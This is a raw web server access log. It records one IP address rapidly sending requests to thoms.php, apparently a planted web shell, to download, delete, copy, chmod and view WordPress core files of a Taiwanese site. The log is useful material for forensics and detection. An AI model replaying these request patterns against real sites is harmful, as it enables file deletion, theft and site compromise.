45.135.193.11 - - [11/Sep/2026:23:43:24 -0400] "GET /thoms.php?dl=class-requests.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?dl=class-requests.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:24 -0400] "GET /thoms.php?del=update.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59123 "http://163.245.207.76:443/thoms.php?del=update.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:25 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fglobal-styles-and-settings.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11895 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fglobal-styles-and-settings.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:25 -0400] "GET /thoms.php?dl=class-wp-locale-switcher.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59216 "http://163.245.207.76:443/thoms.php?dl=class-wp-locale-switcher.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:25 -0400] "GET /thoms.php?del=class-wp-term-query.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=class-wp-term-query.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:25 -0400] "GET /thoms.php?chmod=option.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=option.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:25 -0400] "GET /thoms.php?chmod=abilities.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=abilities.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:26 -0400] "GET /thoms.php?chmod=class-wp-dependency.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-wp-dependency.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:26 -0400] "GET /thoms.php?del=author-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59251 "http://163.245.207.76:443/thoms.php?del=author-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:26 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-link-service.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-link-service.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:26 -0400] "GET /thoms.php?del=class-wp-block.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59208 "http://163.245.207.76:443/thoms.php?del=class-wp-block.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:26 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-paused-extensions-storage.php HTTP/1.1" 200 13320 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-paused-extensions-storage.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:26 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fms-default-filters.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fms-default-filters.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:26 -0400] "GET /thoms.php?dl=class-wp-phpmailer.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59218 "http://163.245.207.76:443/thoms.php?dl=class-wp-phpmailer.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:26 -0400] "GET /thoms.php?dl=feed-rdf.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?dl=feed-rdf.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:27 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fstyle-engine HTTP/1.1" 200 13453 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fstyle-engine" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:27 -0400] "GET /thoms.php?dl=post-thumbnail-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59220 "http://163.245.207.76:443/thoms.php?dl=post-thumbnail-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:27 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-feed.php HTTP/1.1" 200 12168 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-feed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:27 -0400] "GET /thoms.php?chmod=class-wp-filter-sentinel.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-wp-filter-sentinel.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:27 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fhtml-api&p= HTTP/1.1" 200 12412 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fhtml-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:27 -0400] "GET /thoms.php?dl=class-wp-block-bindings-source.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-bindings-source.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:27 -0400] "GET /thoms.php?dl=class-wp-hook.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59223 "http://163.245.207.76:443/thoms.php?dl=class-wp-hook.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:27 -0400] "GET /thoms.php?dl=embed-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=embed-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:28 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-scripts.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11848 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-scripts.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:28 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-site-query.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-site-query.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:28 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=cron.php HTTP/1.1" 200 22868 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=cron.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:28 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-phpmailer.php HTTP/1.1" 200 12190 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-phpmailer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:28 -0400] "GET /thoms.php?chmod=class-wp-widget-factory.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11541 "http://163.245.207.76:443/thoms.php?chmod=class-wp-widget-factory.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:28 -0400] "GET /thoms.php?chmod=pluggable.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=pluggable.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:28 -0400] "GET /thoms.php?dl=class-wp-block-parser-block.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-parser-block.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:28 -0400] "GET /thoms.php?dl=class-wp-block-parser.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59031 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-parser.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:29 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2FID3&p= HTTP/1.1" 200 12414 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2FID3&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:29 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-http-response.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-http-response.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:28 -0400] "GET /thoms.php?dl=theme.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59215 "http://163.245.207.76:443/thoms.php?dl=theme.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:29 -0400] "GET /thoms.php?chmod=post-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=post-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:29 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=rewrite.php HTTP/1.1" 200 18774 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=rewrite.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:29 -0400] "GET /thoms.php?chmod=theme.json&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=theme.json&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:29 -0400] "GET /thoms.php?del=option.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59228 "http://163.245.207.76:443/thoms.php?del=option.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:29 -0400] "GET /thoms.php?chmod=class-wp-oembed.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=class-wp-oembed.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:29 -0400] "GET /thoms.php?del=category.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?del=category.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:29 -0400] "GET /thoms.php?chmod=class-wp-scripts.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=class-wp-scripts.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:29 -0400] "GET /thoms.php?dl=class-wp-block-parser-frame.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-parser-frame.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:30 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-editor.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-editor.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:30 -0400] "GET /thoms.php?del=session.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59227 "http://163.245.207.76:443/thoms.php?del=session.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:30 -0400] "GET /thoms.php?chmod=class-wp-phpmailer.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-wp-phpmailer.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:30 -0400] "GET /thoms.php?dl=abilities.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59227 "http://163.245.207.76:443/thoms.php?dl=abilities.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:30 -0400] "GET /thoms.php?del=class-wp-error.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59223 "http://163.245.207.76:443/thoms.php?del=class-wp-error.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:30 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-widget-factory.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-widget-factory.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:30 -0400] "GET /thoms.php?del=http.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=http.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:30 -0400] "GET /thoms.php?dl=ai-client.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59240 "http://163.245.207.76:443/thoms.php?dl=ai-client.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:31 -0400] "GET /thoms.php?chmod=formatting.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=formatting.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:31 -0400] "GET /thoms.php?del=compat-utf8.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?del=compat-utf8.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:31 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fms-files.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fms-files.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:31 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Finteractivity-api&p= HTTP/1.1" 200 12413 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Finteractivity-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:31 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-block-parser-block.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-block-parser-block.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:31 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-icon-collections-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-icon-collections-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:31 -0400] "GET /thoms.php?chmod=ms-functions.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=ms-functions.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:31 -0400] "GET /thoms.php?dl=class-wp-term-query.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59228 "http://163.245.207.76:443/thoms.php?dl=class-wp-term-query.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:31 -0400] "GET /thoms.php?del=class-walker-category-dropdown.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=class-walker-category-dropdown.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:32 -0400] "GET /thoms.php?del=class-wp-http-encoding.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59204 "http://163.245.207.76:443/thoms.php?del=class-wp-http-encoding.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:32 -0400] "GET /thoms.php?del=functions.wp-styles.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59194 "http://163.245.207.76:443/thoms.php?del=functions.wp-styles.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:32 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes%2FIXR HTTP/1.1" 200 14480 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes%2FIXR" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:32 -0400] "GET /thoms.php?del=class-wp-http-curl.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59215 "http://163.245.207.76:443/thoms.php?del=class-wp-http-curl.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:32 -0400] "GET /thoms.php?del=widgets.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59223 "http://163.245.207.76:443/thoms.php?del=widgets.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:33 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-session-tokens.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-session-tokens.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:32 -0400] "GET /thoms.php?dl=class-wp-classic-to-block-menu-converter.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?dl=class-wp-classic-to-block-menu-converter.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
